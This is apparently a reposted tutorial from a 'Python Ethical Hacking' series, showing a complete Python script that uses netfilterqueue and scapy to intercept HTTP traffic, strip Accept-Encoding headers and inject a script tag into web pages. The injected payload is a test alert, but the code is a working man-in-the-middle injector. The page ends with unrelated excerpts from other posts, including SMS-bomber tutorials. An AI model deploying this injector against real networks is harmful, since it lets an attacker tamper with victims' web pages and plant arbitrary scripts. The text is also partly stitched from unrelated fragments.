Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)

Refactoring and Housekeeping:

#!/usr/bin/env python
import re

from netfilterqueue import NetfilterQueue
from scapy.layers.inet import TCP, IP
from scapy.packet import Raw

def set_load(packet, load):
    packet[Raw].load = load
    del packet[IP].len
    del packet[IP].chksum
    del packet[TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):
        load = scapy_packet[Raw].load
        if scapy_packet[TCP].dport == 80:
            print("[+] Request")
            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)

        elif scapy_packet[TCP].sport == 80:
            print("[+] Response")
            load = load.replace(b"</body>", b"<script>alert(‘test‘);</script></body>")

        if load != scapy_packet[Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(str(new_packet).encode())

    packet.accept()

queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print(‘‘)

原文地址:https://www.cnblogs.com/keepmoving1113/p/11517275.html

时间: 2024-08-30 12:10:20

Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)的相关文章

Python学习 Day17 Python对Mysql操作和使用ORM框架(SQLAlchemy)

Python对Mysql操作和使用ORM框架(SQLAlchemy) Mysql 常见操作 数据库操作 创建数据库 create database fuzjtest 删除数据库 drop database fuzjtest 查询数据库       show databases 切换数据库       use databas 123123 ###用户授权 创建用户          create user '用户名'@'IP地址' identified by '密码'; 删除用户        

python 学习_第四模块 并发编程(多线程)

python 学习_第四模块 并发编程(多线程) 1  开启线程方式 from threading import Thread import time def say(name): time.sleep(2) print("%s hello"%name) if __name__ =="__main__": t = Thread(target=say,args=("alex",)) t.start() print("主线程")

ArcGIS Data Interoperability 的使用(1)

今天在用OneMap的时候,发现OneMap中注册过后的WFS服务无法在skyline中加载,于是想知道OneMap注册后的WFS服务与server中的原生态WFS服务有啥区别.首先想到是否能在ArcMap中把WFS打开,查看WFS服务是否都显示正常.原本认定ArcMap是没法预览或查看WFS服务的,因为从来没有尝试过.但是当通过度娘搜索后,发现早在2004年ESRI就推出了ArcGIS Data Interoperability 工具,可以实现在ArcMap中查看WFS服务的图层情况.下面是关

神秘的Flash Translation Layer (FTL)

如果仅仅是SSD的使用者,一定不会在意在SSD内部居然还存在一个复杂的软件层Flash Translation Layer(FTL).其实就是这个FTL才是SSD固态硬盘的软件核心技术.正因为有了FTL,NAND Flash才能被当成硬盘来使用:文件系统才可以直接把SSD当成普通块设备来使用.由于FTL是SSD设计厂商最为重要的核心技术,因此,没有一家厂商愿意透露这方面的技术信息,并且也一直没有业内的技术规范.标准存在. FTL的重要程度在于决定了一个SSD的使用寿命.性能和可靠性.一旦FTL出

python版的短信轰炸机smsbomb----------上篇(post)

短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这样的网站,然后利用Fiddler或者HttpWatch分析请求,使用post还是get,数据格式是怎么样的等. 以http://topic.hongxiu.com/wap/为例: 然后随便填一个电话号码,进行抓包分析: 通过这个可以看出,请求方式是POST,点击webForms就可以看到发送的数据格式. 有了这些就很简单了,核心就是向服务器post数

python版的短信轰炸机smsbomb----------下篇(get)

在上一篇介绍的是post方式发送数据,但是有点网站是get方式发送数据,例如:http://www.oupeng.com/download,其实方法差不多. import httplib,urllib,sys,os,re,urllib2 import string def attack(phone): datas="" url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone i_headers =

关于Core Data的一些整理(三)

关于Core Data的一些整理(三) 关于Core Data Stack的四种类与它们的关系如下: NSManagedObjectModel NSPersistentStore NSPersistentStoreCoordinator NSManagedObjectContext 手写Core Data Stack,新建文件继承NSObject,并且在其中要依次初始化三个对象:NSManagedObjectContext.NSPersistentStoreCoordinator.NSManag

关于Core Data的一些整理(二)

关于Core Data的一些整理(二) 创建NSManagedObject的子类时,有一点是在这中间要强调的一点是,要不要勾选 Use scalar properties for primitive data types. 勾选上这个选项之后就是使用的是你在定义的时候使用的原始数据类型. 如果没有勾选的话,就会存在类型的转化,转换情况如下: String maps to String Integer 16/32/64, Float, Double and Boolean map to NSNum

Python解析器源码加密系列之(二):一次使用标准c的FILE*访问内存块的尝试

摘要:由于近期打算修改Python解释器以实现pyc文件的加密/解密,出于保密的要求,解密之后的数据只能放在内存中,不能写入到文件中.但是后续的解析pyc文件的代码又只能接受FILE*作为入参,所以就提出了一种把通过FILE*来访问内存的需求,下文是针对这个需求的几个方面的尝试及其结论. 以下尝试的前提是:Win7 + VS2010. 在vc中,FILE其实就是_iobuf,定义如下: struct _iobuf { char *_ptr; //文件输入的下一个位置 int _cnt; //当前